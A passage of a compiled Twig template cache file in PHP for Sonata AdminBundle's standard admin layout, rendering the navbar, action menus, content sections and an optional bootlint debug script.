true, false, 254))) { // line 255 yield " "; trigger_deprecation('', '', "Relying on the \"class\" setting is deprecated since sonata-project/admin-bundle 4.9, use the \"icon\" setting instead"." in \"@SonataAdmin/standard_layout.html.twig\" at line 255."); // line 256 yield " <i class=\""; yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape(CoreExtension::getAttribute($this->env, $this->source, $context["settings"], "class", [], "any", false, false, false, 256), "html", null, true); yield "\" aria-hidden=\"true\"></i> "; } else { // line 258 yield " "; yield $this->env->getRuntime('Sonata\AdminBundle\Twig\IconRuntime')->parseIcon(((CoreExtension::getAttribute($this->env, $this->source, $context["settings"], "icon", [], "any", true, true, false, 258)) ? (Twig\Extension\CoreExtension::default(CoreExtension::getAttribute($this->env, $this->source, $context["settings"], "icon", [], "any", false, false, false, 258), "")) : (""))); yield " "; } // line 260 yield " </a> "; } $_parent = $context['_parent']; unset($context['_seq'], $context['mode'], $context['settings'], $context['_parent']); $context = array_intersect_key($context, $_parent) + $_parent; // line 262 yield " </div> "; } // line 264 yield " "; // line 265 yield from $this->unwrap()->yieldBlock('sonata_admin_content_actions_wrappers', $context, $blocks); // line 281 yield " "; // line 282 if ((($tmp = !Twig\Extension\CoreExtension::testEmpty(($context["_list_filters_actions"] ?? null))) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 283 yield " "; yield ($context["_list_filters_actions"] ?? null); yield " "; } // line 285 yield " </div> </div> </nav> "; } // line 289 yield " "; yield from []; } // line 234 /** * @return iterable<null|scalar|\Stringable> */ public function block_tab_menu_navbar_header(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 235 yield " "; if ((($tmp = !Twig\Extension\CoreExtension::testEmpty(($context["_navbar_title"] ?? null))) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 236 yield " <div class=\"navbar-header\"> <a class=\"navbar-brand\" href=\"#\">"; // line 237 yield ($context["_navbar_title"] ?? null); yield "</a> </div> "; } // line 240 yield " "; yield from []; } // line 265 /** * @return iterable<null|scalar|\Stringable> */ public function block_sonata_admin_content_actions_wrappers(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 266 yield " "; if ((($tmp = !Twig\Extension\CoreExtension::testEmpty(Twig\Extension\CoreExtension::trim(Twig\Extension\CoreExtension::replace(($context["_actions"] ?? null), ["<li>" => "", "</li>" => ""])))) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 267 yield " <ul class=\"nav navbar-nav navbar-right\"> "; // line 268 if ((Twig\Extension\CoreExtension::length($this->env->getCharset(), Twig\Extension\CoreExtension::split($this->env->getCharset(), ($context["_actions"] ?? null), "</a>")) > 2)) { // line 269 yield " <li class=\"dropdown sonata-actions\"> <a href=\"#\" class=\"dropdown-toggle\" data-toggle=\"dropdown\">"; // line 270 yield $this->env->getRuntime('Twig\Runtime\EscaperRuntime')->escape($this->extensions['Symfony\Bridge\Twig\Extension\TranslationExtension']->trans("link_actions", [], "SonataAdminBundle"), "html", null, true); yield " <b class=\"caret\"></b></a> <ul class=\"dropdown-menu\" role=\"menu\"> "; // line 272 yield ($context["_actions"] ?? null); yield " </ul> </li> "; } else { // line 276 yield " "; yield ($context["_actions"] ?? null); yield " "; } // line 278 yield " </ul> "; } // line 280 yield " "; yield from []; } // line 294 /** * @return iterable<null|scalar|\Stringable> */ public function block_sonata_admin_content(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 295 yield " "; // line 296 yield from $this->unwrap()->yieldBlock('notice', $context, $blocks); // line 299 yield " "; // line 300 if ((($tmp = !Twig\Extension\CoreExtension::testEmpty(($context["_preview"] ?? null))) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 301 yield " <div class=\"sonata-ba-preview\">"; yield ($context["_preview"] ?? null); yield "</div> "; } // line 303 yield " "; // line 304 if ((($tmp = !Twig\Extension\CoreExtension::testEmpty(($context["_content"] ?? null))) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 305 yield " <div class=\"sonata-ba-content\">"; yield ($context["_content"] ?? null); yield "</div> "; } // line 307 yield " "; // line 308 if ((($tmp = !Twig\Extension\CoreExtension::testEmpty(($context["_show"] ?? null))) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 309 yield " <div class=\"sonata-ba-show\">"; yield ($context["_show"] ?? null); yield "</div> "; } // line 311 yield " "; // line 312 if ((($tmp = !Twig\Extension\CoreExtension::testEmpty(($context["_form"] ?? null))) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 313 yield " <div class=\"sonata-ba-form\">"; yield ($context["_form"] ?? null); yield "</div> "; } // line 315 yield " "; // line 316 if ((($tmp = !Twig\Extension\CoreExtension::testEmpty(($context["_list_filters"] ?? null))) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 317 yield " <div class=\"row\"> "; // line 318 yield ($context["_list_filters"] ?? null); yield " </div> "; } // line 321 yield " "; // line 322 if ((($tmp = !Twig\Extension\CoreExtension::testEmpty(($context["_list_table"] ?? null))) && $tmp instanceof Markup ? (string) $tmp : $tmp)) { // line 323 yield " <div class=\"row\"> "; // line 324 yield ($context["_list_table"] ?? null); yield " </div> "; } // line 327 yield " "; yield from []; } // line 296 /** * @return iterable<null|scalar|\Stringable> */ public function block_notice(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 297 yield " "; yield from $this->load("@SonataTwig/FlashMessage/render.html.twig", 297)->unwrap()->yield($context); // line 298 yield " "; yield from []; } // line 335 /** * @return iterable<null|scalar|\Stringable> */ public function block_bootlint(array $context, array $blocks = []): iterable { $macros = $this->macros; // line 336 yield " "; // line 337 yield " <script type=\"text/javascript\"> javascript:(function(){var s=document.createElement(\"script\");s.onload=function(){bootlint.showLintReportForCurrentDocument([], {hasProblems: false, problemFree: false});};s.src=\"https://maxcdn.bootstrapcdn.com/bootlint/latest/bootlint.min.js\";document.body.appendChild(s)})(); </script> "; yield from []; } /** * @codeCoverageIgnore */ public function getTemplateName(): string { return "@SonataAdmin/standard_layout.html.twig"; } /** * @codeCoverageIgnore */ public function isTraitable(): bool { return false; } /** * @codeCoverageIgnore */ public function getDebugInfo(): array { return array ( 1158 => 337, 1156 => 336, 1149 => 335, 1144 => 298, 1141 => 297, 1134 => 296, 1129 => 327, 1123 => 324, 1120 => 323, 1118 => 322, 1115 => 321, 1109 => 318, 1106 => 317, 1104 => 316, 1101 => 315, 1095 => 313, 1093 => 312, 1090 => 311, 1084 => 309, 1082 => 308, 1079 => 307, 1073 => 305, 1071 => 304, 1068 => 303, 1062 => 301, 1060 => 300, 1057 => 299, 1055 => 296, 1052 => 295, 1045 => 294, 1040 => 280, 1036 => 278, 1030 => 276, 1023 => 272, 1018 => 270, 1015 => 269, 1013 => 268, 1010 => 267, 1007 => 266, 1000 => 265, 995 => 240, 989 => 237, 986 => 236, 983 => 235, 976 => 234, 971 => 289, 965 => 285, 959 => 283, 957 => 282, 954 => 281, 952 => 265, 949 => 264, 945 => 262, 938 => 260, 932 => 258, 926 => 256, 923 => 255, 920 => 254, 911 => 252, 907 => 251, 904 => 250, 902 => 249, 899 => 248, 893 => 245, 890 => 244, 888 => 243, 884 => 241, 882 => 234, 876 => 232, 874 => 230, 873 => 229, 872 => 228, 870 => 227, 863 => 226, 858 => 290, 855 => 226, 848 => 225, 842 => 328, 840 => 294, 835 => 291, 833 => 225, 829 => 223, 822 => 222, 817 => 213, 810 => 212, 804 => 214, 802 => 212, 799 => 211, 792 => 210, 784 => 208, 777 => 207, 766 => 206, 761 => 204, 747 => 195, 741 => 193, 738 => 192, 731 => 191, 726 => 216, 723 => 210, 720 => 207, 718 => 206, 715 => 205, 712 => 191, 705 => 190, 698 => 217, 696 => 190, 692 => 188, 685 => 187, 679 => 330, 677 => 222, 673 => 220, 670 => 187, 663 => 186, 658 => 176, 651 => 172, 644 => 167, 641 => 166, 638 => 165, 631 => 164, 626 => 162, 620 => 159, 614 => 155, 611 => 154, 608 => 153, 601 => 152, 594 => 178, 591 => 177, 588 => 164, 585 => 163, 583 => 152, 579 => 150, 572 => 149, 566 => 145, 562 => 143, 556 => 141, 553 => 140, 547 => 138, 544 => 137, 542 => 136, 539 => 135, 537 => 134, 534 => 133, 527 => 132, 521 => 181, 519 => 149, 515 => 147, 513 => 132, 506 => 128, 502 => 127, 496 => 125, 489 => 124, 483 => 122, 477 => 120, 474 => 119, 466 => 117, 464 => 116, 459 => 115, 452 => 114, 443 => 110, 439 => 108, 432 => 107, 426 => 183, 423 => 124, 420 => 114, 418 => 107, 415 => 106, 408 => 105, 397 => 93, 392 => 99, 389 => 98, 386 => 97, 383 => 96, 378 => 95, 374 => 94, 369 => 93, 362 => 92, 357 => 88, 354 => 87, 349 => 85, 346 => 84, 343 => 83, 337 => 81, 335 => 80, 329 => 78, 322 => 77, 317 => 65, 308 => 63, 303 => 62, 296 => 61, 291 => 59, 284 => 58, 279 => 74, 276 => 73, 270 => 71, 267 => 70, 264 => 69, 261 => 68, 258 => 66, 256 => 61, 253 => 60, 250 => 58, 243 => 57, 238 => 55, 229 => 53, 224 => 52, 217 => 51, 209 => 32, 202 => 31, 191 => 29, 183 => 342, 180 => 341, 177 => 335, 175 => 334, 171 => 332, 169 => 186, 166 => 185, 164 => 105, 158 => 101, 156 => 92, 151 => 89, 149 => 77, 145 => 75, 143 => 57, 140 => 56, 138 => 51, 133 => 48, 131 => 46, 127 => 44, 125 => 43, 124 => 42, 123 => 41, 122 => 40, 121 => 39, 120 => 38, 119 => 37, 116 => 36, 114 => 31, 109 => 29, 105 => 27, 103 => 26, 101 => 25, 99 => 24, 97 => 23, 95 => 22, 93 => 21, 91 => 20, 89 => 19, 87 => 18, 85 => 17, 83 => 16, 81 => 15, 79 => 14, 77 => 13, 75 => 12,); } public function getSourceContext(): Source { return new Source("", "@SonataAdmin/standard_layout.html.twig", "/var/www/v3.cesa.co.za/vendor/sonata-project/admin-bundle/src/Resources/views/standard_layout.html.twig"); } }